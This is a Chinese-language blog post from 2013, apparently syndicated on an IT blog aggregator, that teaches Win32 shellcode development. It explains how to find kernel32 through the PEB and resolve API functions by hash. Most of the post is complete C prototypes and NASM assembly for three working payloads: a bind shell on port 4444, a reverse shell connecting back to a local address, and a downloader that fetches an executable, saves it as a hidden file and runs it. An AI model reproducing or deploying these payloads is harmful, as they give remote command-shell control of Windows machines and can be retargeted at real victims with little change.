IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    Win32 shellcode 管窥

    Reverland (lhtlyy@gmail.com)发表于 2013-08-26 00:00:00
    love 0

    Win32 shellcode 管窥

    本文讨论下win32 shellcode。

    什么是shellcode?

    参见维基百科,想要翻译下结果一直没翻译。简单说下,就是一段测试漏洞的代码,可以控制计算机、干坏事等等等等。。。这段代码一般通过某种手段注入到有漏洞的程序内存空间中,运行并向攻击者提供一个控制台。

    shellcode通常但也不总是为了获取一个shell,但获取一个shell是获取计算机控制权的一流方式。

    如何编写shellcode?

    在windows中,不要指望像linux下那样用系统调用直接和内核交互,因为windows的系统调用一直在变化,也没有好的文档。

    windows下把一些函数放到了dll链接库中,当程序运行时,这些dll库被载入到当前程序的内存空间中。调用这些函数只要知道这些函数的地址就行了。可是,每一个windows版本甚至一个补丁都会让这些地址变化。

    但kernel32一定会被加载到内存空间中去,kernel32.dll的地址在一个叫作PEB的块中却比较固定,于是人们就搜索PEB来找到kernel32.dll的地址。

    找到kernel32的地址之后,可以通过输出表(Export Table)搜索和解析之中所有的函数地址。尽管有些dll并不像kernel32一定会加载到程序内存空间中,却可以解析kernel32中的LoadLibraryA来载入它们,然后通过同样的解析函数方法来解析这些dll中的函数地址。

    由于shellcode的独特性,我们用汇编会获取更好的控制。但首先我会先用C语言来原型,搞清楚这些程序都干了什么。

    工具

    我用了以下一些工具:

    • wine lcc : C编译器
    • wine immunity debugger: 调试器
    • shell :工作环境和测试脚本
    • nasm :汇编器
    • python: 我用来写一些小工具来比如帮助获取倒过来(因为x86中字节序的问题)函数哈希。

    当然还有写od一类的unix小工具,一个正常的linux发行版都会有这些东西的。

    工作流

    1. 找到kernel32的地址
    2. 解析出想要调用函数的地址
    3. 在堆上构建参数和调用函数

    虽然原理很简单,但是有些小细节:

    1. 尽量模块化重复代码即使用函数。函数尽量没有副作用,就是说尽量别把寄存器搞得乱七八糟。
    2. 尽量向前跳而不是向后跳,这是为了什么来着,对了为了减少shellcode中的NULL。你可以先不考虑这个问题,这比较复杂,这需要熟悉哪些等效的机器码没有bad characters。
    3. 记住jmp不能跳太远,也许你需要一些中转点。
    4. 你可以把要用到的常量或者参数直接放到shellcode中某处,或者就地在栈上构建,只要你方便索引就行。这主要看需求,比如你想集成的metasploit中,就最好把想更改的东西放到固定位置。

    示例

    Talk is cheap, show you the code… C代码是我自己写的,shellcode不一定是我自己写的。但即使是我自己写的也要仰仗于nologin上那篇著名的win32shellcode论文和projectshellcode上的示例。推荐有兴趣的人看看。

    示例1:端口绑定shellcode

    绑定一个端口并提供远程控制台。绑定到本机4444

    C原型:

    /*
     * =====================================================================================
     *
     *       Filename:  port_bind.c
     *
     *    Description:  port_bind in windows
     *
     *        Version:  1.0
     *        Created:  08/18/2013 05:01:19 PM
     *       Revision:  none
     *       Compiler:  lcc
     *
     *         Author:  reverland, 
     *   Organization:  
     *
     * =====================================================================================
     */
    #include 
    #include 
    #include 
    #include 
    
    int main(){
      WSADATA wsaData;
      WORD wVersionRequested;
      struct sockaddr_in host;
      struct sockaddr* addr;
      SOCKET MySock, NSock;
      wVersionRequested = MAKEWORD(2, 2);
      int nret;
    
      // FreeConsole
      FreeConsole();
      printf("size of WSADATA is %d\n", sizeof(wsaData));
      printf("size of wVersionRequested is %d\n", sizeof(wVersionRequested));
      // WSAStartup
      if (WSAStartup(wVersionRequested, &wsaData) < 0)
      {
        printf("ws2 outof date!\n");
        WSACleanup();
        exit(1);
      }
    
      // WSASocket
      MySock = WSASocket(AF_INET, SOCK_STREAM, 0, 0, 0, 0);
    
      host.sin_family = AF_INET;
      host.sin_addr.s_addr = INADDR_ANY;
      host.sin_port = htons(4444);
    
      // bind
      nret = bind(MySock, (struct sockaddr*)&host, sizeof(host));
      printf("size of sockadr is %d\n", sizeof(host));
    
      if (nret == SOCKET_ERROR)
        {
          printf("Error on bind\n");
          WSACleanup();
          exit(1);
        }
    
      // listen
      nret = listen(MySock, 16);
    
      if (nret == SOCKET_ERROR)
        {
          printf("Error on bind\n");
          WSACleanup();
          exit(1);
        }
    
      // accept
      addr = malloc(16);
      int addrlen = 16;
      NSock = accept(MySock, addr, &addrlen);
      if (NSock == SOCKET_ERROR)
      {
        printf("Error on accept\n");
      }
    
      // CreateProcess
      char cmd[] = "cmd";
      STARTUPINFO startupinfo;
      printf("size of STARTUPINFO is %d\n", sizeof(startupinfo));
      PROCESS_INFORMATION processinformation;
      printf("size of PROCESS_INFORMATION is %d\n", sizeof(processinformation));
      memset(&startupinfo, '\0', sizeof(STARTUPINFO));
      memset(&processinformation, '\0', sizeof(PROCESS_INFORMATION));
      startupinfo.cb = 0x44;
      startupinfo.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
      startupinfo.wShowWindow = SW_HIDE;
      startupinfo.hStdInput = (HANDLE)NSock;
      startupinfo.hStdOutput =(HANDLE)NSock;
      startupinfo.hStdError = (HANDLE)NSock;
      FreeConsole();
      CreateProcess(NULL, cmd, NULL, NULL, 1, 0, NULL, NULL, &startupinfo, &processinformation);
    
      // ExitProcess
      ExitProcess(0);
    }

    asm.c :

    ; port_bind.asm
    BITS 32
    [SECTION .text]
    global _start
    _start:
        jmp start_asm
    
    ;DEFINE FUNCTIONS
    
        find_kernel32:
            push esi
    	xor eax, eax
    	mov eax, [fs:eax+0x30] 	;PEB
    	mov eax, [eax + 0x0c]	;PEB->LoaderData
    	mov esi, [eax + 0x1c]	;PEB->LoaderData->InInitializationOrderModuleList
    	lodsd			;next entry the double linked list point to
    	mov eax, [eax + 0x8]	;imagebase of kernel32
    	pop esi
    	ret
    
    	;END FUNCTION: find_kernel32
    
    	; FUNCTION: find_function
        find_function:		; find_functions(edx, eax)
            pushad
    	mov ebp, [esp+0x24]	;edx(dll)
    	mov eax, [ebp+0x3c]	;Skip MS DOS header to PE header
    	mov edx, [ebp+eax+0x78]	;Export table is 0x78 byts from the start of the PE header
    	add edx, ebp		;Absolute address
    	mov ecx, [edx+0x18]	;Number of functions
    	mov ebx, [edx+0x20]	; address of names(rva) table relative offset
    	add ebx, ebp		; make the name talbe address absolute
        find_function_loop:
    	jecxz find_function_finished
    	dec ecx
    	mov esi, [ebx+ecx*4]
    	add esi, ebp
        compute_hash:
            xor edi, edi
    	xor eax, eax
    	cld
        compute_hash_again:
            lodsb
    	test al, al
    	jz compute_hash_finished
    	ror edi, 0xd
    	add edi, eax
    	jmp compute_hash_again
        compute_hash_finished:
        find_funtion_compare:
            cmp edi, [esp+0x28]
    	jnz find_function_loop
    	mov ebx, [edx+0x24]	; Exetract ordinals table relative offset and store it in ebx
    	add ebx, ebp
    	mov cx, [ebx + 2*ecx]	; Extract the current symbos ordinal number from the ordinal table; Ordinals are 2 bytes in size
    	mov ebx, [edx+0x1c]	;Extract the address table relative offset and store it in ebx
    	add ebx, ebp		; make the address table address absolute
    	mov eax, [ebx + 4*ecx]	; extract the realtve function offset from its ordinal and store it in eax
    	add eax, ebp
    	mov [esp+0x1c], eax	; overwrite eax
        find_function_finished:
    	popad
    	ret
    
    	; END FUNCTION: find_function
    	; FUNCTION: resolve_symbols_for_dll
        resolve_symbols_for_dll:
    	; about to load current hash into eax(pointed by esi)
    	lodsd
    	push eax
    	push edx
    	call find_function
    	mov [edi], eax
    	add esp, 0x08
    	add edi, 0x04
    	cmp esi, ecx
    	jne resolve_symbols_for_dll
        resolve_symbols_for_dll_finished:
            ret
    
    	; END FUNCTION: resolve_symbols_for_dll
    
    ;END FUNCTIONS
    
        locate_kernel32_hashes:
            call locate_kernel32_hashes_return
    	; BIG ENDIAN
    	; LoadLibraryA
    	db 0x8e, 0x4e, 0x0e, 0xec
    	; CreateProcessA
    	db 0x72, 0xfe, 0xb3, 0x16
    	; ExitProcess
    	db 0x7e, 0xd8, 0xe2, 0x73
        ;locate ws2_32_hashes
            ; WSASocketA
    	db 0xd9, 0x09, 0xf5, 0xad
    	; bind
    	db 0xa4, 0x1a, 0x70, 0xc7
    	; listen
    	db 0xa4, 0xad, 0x2e, 0xe9
    	; accept
    	db 0xe5, 0x49, 0x86, 0x49
    	; WSAStartup
    	db 0xcb, 0xed, 0xfc, 0x3b
        ; END DEFINE CONSTANTS
    
        start_asm:
           sub esp, 0x68 ; !!随便给的
           mov ebp, esp
           call find_kernel32
           mov edx, eax
           ; resolve kernel32 symbols
           jmp short locate_kernel32_hashes
        locate_kernel32_hashes_return:
           pop esi
           lea edi,[ebp+0x00] 
           mov ecx, esi
    
    	
            
    
           add ecx, 0x0c ; length of kernel32 list
           call resolve_symbols_for_dll
    
           ; resolve ws2_32 symbols
           add ecx, 0x14
           xor eax, eax
           mov ax, 0x3233
           push eax
           push dword 0x5f327377
           mov ebx, esp ; point to "ws2_32"
    
           push ecx
           push edx
           push ebx
           call [ebp+0x0]
    
           pop edx ; kernel32 address
           pop ecx ; counter
           mov edx, eax ; ws2_32.dll address
           call resolve_symbols_for_dll
    
       initialize_cmd:
           mov eax, 0x646d6301
           sar eax, 0x08
           push eax
           mov [ebp+0x30], esp
    
       WSAStartup:
           xor edx, edx
           mov edx, 0x190
           sub esp, edx
           ; initialize winsock
           push esp
           push 0x02
           call [ebp+0x1c]
           add esp, 0x190
    
       create_socket:
           xor eax, eax
           push eax
           push eax
           push eax
           push eax
           inc eax
           push eax
           inc eax
           push eax
           call [ebp+0x0c]
           mov esi, eax
    
       bind:
           xor eax, eax
           xor ebx, ebx
           push eax
           push eax
           push eax
           mov eax, 0x5c110102
           dec ah
           push eax
           mov eax, esp
           mov bl, 0x10
           push ebx
           push eax
           push esi
           call [ebp+0x10]
    
       listen:
           push ebx
           push esi
           call [ebp+0x14]
    
       accept:
           push ebx
           mov edx, esp
           sub esp, ebx
           mov ecx, esp
           push edx
           push ecx
           push esi
           call [ebp+0x18]
           mov esi, eax
    
       initialize_process:
           xor ecx, ecx
           mov cl, 0x54
           sub esp,ecx
           mov edi, esp
           push edi
       zero_structs:
           xor eax, eax
           rep stosb
           pop edi
       initialize_structs:
           mov byte [edi], 0x44
           inc byte [edi+0x2d] ; STARTF_USESTDHANDLES 
           push edi
           mov eax, esi
           lea edi, [edi+0x38]
           stosd
           stosd
           stosd
           pop edi
       execute_process:
           xor eax, eax
           lea esi, [edi+0x44]
           push esi
           push edi
           push eax
           push eax
           push eax
           inc eax
           push eax
           dec eax
           push eax
           push eax
           push dword [ebp+0x30] ; p->"cmd"
           push eax
           call [ebp+0x04]
       exit_process:
           call [ebp+0x08]

    示例2:反弹shellcode

    反向连接shellcode,提供远程控制台。反向到192.168.56.102, 端口4444

    C 示例:

    /*
     * =====================================================================================
     *
     *       Filename:  connectback.c
     *
     *    Description:  Connect back example
     *
     *        Version:  1.0
     *        Created:  08/23/2013 04:49:55 PM
     *       Revision:  none
     *       Compiler:  gcc
     *
     *         Author:  Reverland, 
     *   Organization:  
     *
     * =====================================================================================
     */
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    
    
    int main(){
      WSADATA wsaData;
      WORD wVersionRequested;
      struct sockaddr_in host, client;
      struct sockaddr* addr;
      SOCKET MySock, NSock;
      wVersionRequested = MAKEWORD(2, 2);
      int nret;
      char ip[] = "127.0.0.1";
    
      // FreeConsole
      FreeConsole();
      printf("size of WSADATA is %d\n", sizeof(wsaData));
      printf("size of wVersionRequested is %d\n", sizeof(wVersionRequested));
      // WSAStartup
      if (WSAStartup(wVersionRequested, &wsaData) < 0)
      {
        printf("ws2 outof date!\n");
        WSACleanup();
        exit(1);
      }
    
      // WSASocket
      MySock = WSASocket(AF_INET, SOCK_STREAM, 0, 0, 0, 0);
    
      client.sin_family = AF_INET;
      client.sin_addr.s_addr = inet_addr(ip);
      client.sin_port = htons(4444);
    
      // bind
      nret = connect(MySock, (struct sockaddr*)&client, sizeof(client));
      printf("size of sockadr is %d\n", sizeof(host));
    
      if (nret == SOCKET_ERROR)
        {
          printf("Error on connect\n");
          WSACleanup();
          exit(1);
        }
    
      // CreateProcess
      char cmd[] = "cmd";
      STARTUPINFO startupinfo;
      printf("size of STARTUPINFO is %d\n", sizeof(startupinfo));
      PROCESS_INFORMATION processinformation;
      printf("size of PROCESS_INFORMATION is %d\n", sizeof(processinformation));
      memset(&startupinfo, '\0', sizeof(STARTUPINFO));
      memset(&processinformation, '\0', sizeof(PROCESS_INFORMATION));
      startupinfo.cb = 0x44;
      startupinfo.dwFlags = STARTF_USESTDHANDLES;
      startupinfo.hStdInput = (HANDLE)MySock;
      startupinfo.hStdOutput =(HANDLE)MySock;
      startupinfo.hStdError = (HANDLE)MySock;
      FreeConsole();
      CreateProcess(NULL, cmd, NULL, NULL, 1, 0, NULL, NULL, &startupinfo, &processinformation);
    
      // ExitProcess
      ExitProcess(0);
    }

    asm:

    [SECTION .text]
    BITS 32
    global _start
    _start:
        jmp start_asm
    
    ;DEFINE FUNCTIONS
    
        find_kernel32:
            push esi
    	xor eax, eax
    	mov eax, [fs:eax+0x30] 	;PEB
    	mov eax, [eax + 0x0c]	;PEB->LoaderData
    	mov esi, [eax + 0x1c]	;PEB->LoaderData->InInitializationOrderModuleList
    	lodsd			;next entry the double linked list point to
    	mov eax, [eax + 0x8]	;imagebase of kernel32
    	pop esi
    	ret
    
    	;END FUNCTION: find_kernel32
    
    	; FUNCTION: find_function
        find_function:		; find_functions(edx, eax)
            pushad
    	mov ebp, [esp+0x24]	;edx(dll)
    	mov eax, [ebp+0x3c]	;Skip MS DOS header to PE header
    	mov edx, [ebp+eax+0x78]	;Export table is 0x78 byts from the start of the PE header
    	add edx, ebp		;Absolute address
    	mov ecx, [edx+0x18]	;Number of functions
    	mov ebx, [edx+0x20]	; address of names(rva) table relative offset
    	add ebx, ebp		; make the name talbe address absolute
        find_function_loop:
    	jecxz find_function_finished
    	dec ecx
    	mov esi, [ebx+ecx*4]
    	add esi, ebp
        compute_hash:
            xor edi, edi
    	xor eax, eax
    	cld
        compute_hash_again:
            lodsb
    	test al, al
    	jz compute_hash_finished
    	ror edi, 0xd
    	add edi, eax
    	jmp compute_hash_again
        compute_hash_finished:
        find_funtion_compare:
            cmp edi, [esp+0x28]
    	jnz find_function_loop
    	mov ebx, [edx+0x24]	; Exetract ordinals table relative offset and store it in ebx
    	add ebx, ebp
    	mov cx, [ebx + 2*ecx]	; Extract the current symbos ordinal number from the ordinal table; Ordinals are 2 bytes in size
    	mov ebx, [edx+0x1c]	;Extract the address table relative offset and store it in ebx
    	add ebx, ebp		; make the address table address absolute
    	mov eax, [ebx + 4*ecx]	; extract the realtve function offset from its ordinal and store it in eax
    	add eax, ebp
    	mov [esp+0x1c], eax	; overwrite eax
        find_function_finished:
    	popad
    	ret
    
    	; END FUNCTION: find_function
    	; FUNCTION: resolve_symbols_for_dll
        resolve_symbols_for_dll:
    	; about to load current hash into eax(pointed by esi)
    	lodsd
    	push eax
    	push edx
    	call find_function
    	mov [edi], eax
    	add esp, 0x08
    	add edi, 0x04
    	cmp esi, ecx
    	jne resolve_symbols_for_dll
        resolve_symbols_for_dll_finished:
            ret
    
    	; END FUNCTION: resolve_symbols_for_dll
    
    ;END FUNCTIONS
    
        locate_kernel32_hashes:
            call locate_kernel32_hashes_return
            ;LoadLibraryA
            db 0x8e
            db 0x4e
            db 0x0e
            db 0xec
            ;CreateProcessA
            db 0x72
            db 0xfe
            db 0xb3
            db 0x16
            ;ExitProcess
            db 0x7e
            db 0xd8
            db 0xe2
            db 0x73
            ;locate_ws2_32_hashes:
            ;WSASocketA
            db 0xd9
            db 0x09
            db 0xf5
            db 0xad
            ;connect
            db 0xec
            db 0xf9
            db 0xaa
            db 0x60
            ;WSAStartup
            db 0xcb
            db 0xed
            db 0xfc
            db 0x3b
            ;END DEFINE CONSTANTS
    
        start_asm:
            sub esp, 0x68
    	mov ebp, esp
    	call find_kernel32
    	mov edx, eax
            ; resolve kernel32 symbols
            jmp short locate_kernel32_hashes
        locate_kernel32_hashes_return:
            pop esi
            lea edi,[ebp+0x00] 
            mov ecx, esi
            add ecx, 0x0c ; length of kernel32 list
            call resolve_symbols_for_dll
    
            ; resolve ws2_32 symbols
            add ecx, 0x0c
    	; create ws2_32 string
            xor eax, eax
            mov ax, 0x3233
            push eax
            push dword 0x5f327377
            mov ebx, esp ; point to "ws2_32"
    
    	push ecx
            push edx
            push ebx
            call [ebp+0x0] ; LoadLibraryA("ws2_32")
    
            pop edx ; kernel32 address
            pop ecx ; counter
            mov edx, eax ; ws2_32.dll address
            call resolve_symbols_for_dll
    
            initialize_cmd:
                mov eax, 0x646d6301
                sar eax, 0x08
                push eax
                mov [ebp+0x24], esp
    	
            WSAStartup:
                xor edx, edx
                mov edx, 0x190
                sub esp, edx
                ; initialize winsock
                push esp
                push 0x02
                call [ebp+0x14]
                add esp, 0x190
    
       create_socket:
           xor eax, eax
           push eax
           push eax
           push eax
           push eax
           inc eax
           push eax
           inc eax
           push eax
           call [ebp+0x0c]
           mov esi, eax
    
        do_connect:
            push 0x0100007f
    	mov eax, 0x5c110102
    	dec ah
    	push eax
    	mov ebx, esp
    	xor eax, eax
    	mov al, 0x10
    	push eax
    	push ebx
    	push esi
    	call [ebp+0x10]
    
       initialize_process:
           xor ecx, ecx
           mov cl, 0x54
           sub esp,ecx
           mov edi, esp
           push edi
       zero_structs:
           xor eax, eax
           rep stosb
           pop edi
       initialize_structs:
           mov byte [edi], 0x44
           inc byte [edi+0x2d] ; STARTF_USESTDHANDLES 
           push edi
           mov eax, esi
           lea edi, [edi+0x38]
           stosd
           stosd
           stosd
           pop edi
       execute_process:
           xor eax, eax
           lea esi, [edi+0x44]
           push esi
           push edi
           push eax
           push eax
           push eax
           inc eax
           push eax
           dec eax
           push eax
           push eax
           push dword [ebp+0x24] ; p->"cmd"
           push eax
           call [ebp+0x04]
       exit_process:
           call [ebp+0x08]

    下载并运行shellcode

    C原型:

    /*
     * =====================================================================================
     *
     *       Filename:  download_execute.c
     *
     *    Description:  Download and execute shellcode
     *
     *        Version:  1.0
     *        Created:  08/22/2013 03:53:36 PM
     *       Revision:  none
     *       Compiler:  gcc
     *
     *         Author:  Reverland, 
     *   Organization:  
     *
     * =====================================================================================
     */
    #include 
    #include 
    #include 
    #include 
    
    int main(){
      HINTERNET nethandle;
    
      // allocate an internet handle
      printf("Allocate an internet handle\n");
      nethandle = InternetOpen(NULL, 0, NULL, NULL, 0);
      if (nethandle == NULL)
      {
        printf("Error on InternetOpen\n");
        exit(0);
      }
    
      // allocate a resource handle
      printf("Allocate a resource handle\n");
      HINTERNET reshandle;
      char url[] = "http://localhost:4000/calc.exe";
      reshandle = InternetOpenUrl(nethandle, url, NULL, 0, 0, 0);
      if (reshandle == NULL)
      {
        printf("Error on InternetOpenUrl\n");
        exit(0);
      }
    
      // Create the local executable file
      printf("Create the local executable file\n");
      HANDLE filehandle;
      char filename[] = "something.exe";
      filehandle = CreateFile(filename, GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL|FILE_ATTRIBUTE_HIDDEN, NULL);
      if (filehandle == 0)
      {
        printf("Error on CreateFile\n");
        exit(0);
      }
    
      
      // Download the executable
      printf("download the executable\n");
      DWORD NumberOfBytesRead=0;
      DWORD NumberOfBytesWritten=0;
      BOOL nret;
      while (1==1){
        void *Buffer = malloc(260);
        nret = InternetReadFile(reshandle, Buffer, 260, &NumberOfBytesRead);
        printf("InternetReadFile\n");
        printf("read %d bytes\n", (int)NumberOfBytesRead);
        printf("%s\n", (char *)Buffer);
        if (NumberOfBytesRead == 0)
          break;
        printf("WriteFile\n");
        nret = WriteFile(filehandle, Buffer, NumberOfBytesRead, &NumberOfBytesWritten, NULL);
        printf("write %d bytes\n", (int)NumberOfBytesWritten);
        if (nret == 0)
        {
          printf("Error on Writefile\n");
          exit(0);
        }
        free(Buffer);
      }
      printf("Close handle\n");
      CloseHandle(filehandle);
    
      // Create Process
      printf("Create Process\n");
      STARTUPINFO startupinfo;
      // printf("size of STARTUPINFO is %d\n", sizeof(startupinfo));
      PROCESS_INFORMATION processinformation;
      // printf("size of PROCESS_INFORMATION is %d\n", sizeof(processinformation));
      memset(&startupinfo, '\0', sizeof(STARTUPINFO));
      memset(&processinformation, '\0', sizeof(PROCESS_INFORMATION));
      startupinfo.cb = 0x44;
      CreateProcess(NULL, filename, NULL, NULL, 0, 0, NULL, NULL, &startupinfo, &processinformation);
    
      ExitProcess(0);
    }

    asm:

    ; port_bind.asm
    BITS 32
    [SECTION .text]
    global _start
    _start:
        jmp start_asm
    
    ;DEFINE FUNCTIONS
    
        find_kernel32:
            push esi
    	xor eax, eax
    	mov eax, [fs:eax+0x30] 	;PEB
    	mov eax, [eax + 0x0c]	;PEB->LoaderData
    	mov esi, [eax + 0x1c]	;PEB->LoaderData->InInitializationOrderModuleList
    	lodsd			;next entry the double linked list point to
    	mov eax, [eax + 0x8]	;imagebase of kernel32
    	pop esi
    	ret
    
    	;END FUNCTION: find_kernel32
    
    	; FUNCTION: find_function
        find_function:		; find_functions(edx, eax)
            pushad
    	mov ebp, [esp+0x24]	;edx(dll)
    	mov eax, [ebp+0x3c]	;Skip MS DOS header to PE header
    	mov edx, [ebp+eax+0x78]	;Export table is 0x78 byts from the start of the PE header
    	add edx, ebp		;Absolute address
    	mov ecx, [edx+0x18]	;Number of functions
    	mov ebx, [edx+0x20]	; address of names(rva) table relative offset
    	add ebx, ebp		; make the name talbe address absolute
        find_function_loop:
    	jecxz find_function_finished
    	dec ecx
    	mov esi, [ebx+ecx*4]
    	add esi, ebp
        compute_hash:
            xor edi, edi
    	xor eax, eax
    	cld
        compute_hash_again:
            lodsb
    	test al, al
    	jz compute_hash_finished
    	ror edi, 0xd
    	add edi, eax
    	jmp compute_hash_again
        compute_hash_finished:
        find_funtion_compare:
            cmp edi, [esp+0x28]
    	jnz find_function_loop
    	mov ebx, [edx+0x24]	; Exetract ordinals table relative offset and store it in ebx
    	add ebx, ebp
    	mov cx, [ebx + 2*ecx]	; Extract the current symbos ordinal number from the ordinal table; Ordinals are 2 bytes in size
    	mov ebx, [edx+0x1c]	;Extract the address table relative offset and store it in ebx
    	add ebx, ebp		; make the address table address absolute
    	mov eax, [ebx + 4*ecx]	; extract the realtve function offset from its ordinal and store it in eax
    	add eax, ebp
    	mov [esp+0x1c], eax	; overwrite eax
        find_function_finished:
    	popad
    	ret
    
    	; END FUNCTION: find_function
    	; FUNCTION: resolve_symbols_for_dll
        resolve_symbols_for_dll:
    	; about to load current hash into eax(pointed by esi)
    	lodsd
    	push eax
    	push edx
    	call find_function
    	mov [edi], eax
    	add esp, 0x08
    	add edi, 0x04
    	cmp esi, ecx
    	jne resolve_symbols_for_dll
        resolve_symbols_for_dll_finished:
            ret
    
    	; END FUNCTION: resolve_symbols_for_dll
    
    ;END FUNCTIONS
    
        locate_kernel32_hashes:
            call locate_kernel32_hashes_return
    	; BIG ENDIAN
    	; LoadLibraryA---ebp
    	db 0x8e, 0x4e, 0x0e, 0xec
    	; CreateFile---ebp+4
    	db 0xa5, 0x17, 0x0, 0x7c
    	; WriteFile---ebp+0x8
            db 0x1f, 0x79, 0xa, 0xe8
            ; CloseHandle---ebp+0xc
            db 0xfb, 0x97, 0xfd, 0xf
    	; CreateProcessA---ebp+0x10
    	db 0x72, 0xfe, 0xb3, 0x16
    	; ExitProcess---ebp+0x14
    	db 0x7e, 0xd8, 0xe2, 0x73
        ; Wininet.dll function hashes
            ; InternetOpenA---ebp+0x18
            db 0x29, 0x44, 0xe8, 0x57
    	; InternetOpenUrlA---ebp+0x1c
            db 0x49, 0xed, 0xf, 0x7e
            ; InternetReadFile---ebp+0x20
            db 0x8b, 0x4b, 0xe3, 0x5f
    
        ; DEFINE Constants END
            
        start_asm:
            sub esp, 0x88
    	mov ebp, esp
    	call find_kernel32
    	mov edx, eax
    	; resolve kernel32 symbols
    	jmp short locate_kernel32_hashes
        locate_kernel32_hashes_return:
            pop esi
    	lea edi, [ebp+0x00]
    	mov ecx, esi
    	add ecx, 0x18 	; length of kernel32 list
    	call resolve_symbols_for_dll
    
    	; resolve wininet symbols
    	add ecx, 0xc
    	; xor eax, eax
    	mov eax, 0x74656e01
    	sar eax, 0x08
    	push eax	; net
    	push 0x696e6977	; wini
    	mov ebx, esp
    	push ecx	; preserve ecx, LoadLibraryA 破坏ecx和edx?
    	push edx	; preserve edx
    	push ebx
    	call [ebp+0x0]
    	pop edx
    	pop ecx
    	mov edx, eax	; 之前保护edx干么...?
    	call resolve_symbols_for_dll
        internet_open:
            xor eax, eax
    	push eax
    	push eax
    	push eax
    	push eax
    	push eax
    	call [ebp+0x18]
    	mov [ebp+0x24], eax ; nethandle
        internet_open_url:
            xor eax, eax
    	mov ax, 0x6578
    	push eax
    	push 0x652e636c 	; calc.exe
    	push 0x61632f30
    	push 0x3030383a
    	push 0x74736f68
    	push 0x6c61636f
    	push 0x6c2f2f3a
    	push 0x70747468 ; http://localhost:8000/calc.exe
    	mov ebx, esp
    	xor eax, eax
    	push eax
    	push eax
    	push eax
    	push eax
    	push ebx
    	push dword [ebp+0x24]		;nethandle
    	call [ebp+0x1c]
    	mov [ebp+0x28], eax	; reshandle
        
        create_file:
            xor eax, eax
    	mov al, 0x65
    	push eax
    	push 0x78652e67
    	push 0x6e696874
    	push 0x656d6f73 	; something.exe
    	mov [ebp+0x2c], esp	; filename->something
    	xor eax, eax
    	push eax
    	mov al, 0x82		; FILE_ATTRIBUTE_NORMAL|FILE_ATTRIBUTE_HIDDEN
    	push eax
    	mov al, 0x02
    	push eax		; CREATE_ALWAYS
    	xor al, al
    	push eax
    	push eax
    	mov al, 0x40
    	sal eax, 0x18		; GENERIC_ALL
    	push eax
    	push dword [ebp+0x2c]
    	call [ebp+0x4]
    	mov [ebp+0x30], eax	; filehandle
    
        download_begin:
            xor eax, eax
    	mov ax, 0x010c	; esi->DWORD numberofbytesread + 260 buffer
    	sub esp, eax
    	mov esi, esp
        download_loop:
            push esi	; 
    	mov ax, 0x0104
    	push eax
    	lea eax, [esi+4]
    	push eax
    	push dword [ebp+0x28]		; reshandle
    	call [ebp+0x20]
    	mov eax, [esi]		; NumbeOfBytesRead
    	test eax, eax
    	jz download_finished
        download_write_file:
            xor eax, eax
    	push eax		
    	push esi
    	push dword [esi]
    	lea eax, [esi+0x04]
    	push eax
    	push dword [ebp+0x30]
    	call [ebp+0x8]
    	jmp download_loop
        download_finished:
            push dword [ebp+0x30]
    	call [ebp+0xc]
    	xor eax, eax
    	mov ax, 0x0104 	; restore stack
    	; CreateProcess
        initialize_process:
    	add esp, eax
    	xor ecx, ecx
    	mov cl, 0x54
    	sub esp, ecx
    	mov edi, esp
        zero_structs:
            xor eax, eax
    	rep stosb
        initialize_structs:
            mov edi, esp
    	mov byte [edi], 0x44	; !!!!!cb
        execute_process:
            lea esi, [edi+0x44]		; esi->process_information
    	push esi
    	push edi
    	push eax
    	push eax
    	push eax
    	push eax
    	push eax
    	push eax
    	push dword [ebp+0x2c]		; ->"something"
    	push eax
    	call [ebp+0x10]
        exit_process:
            call [ebp+0x14]

    分阶段shellcode

    第一阶段建立连接,并读取shellcode,然后指向执行。

    待续。。。



沪ICP备19023445号-2号
友情链接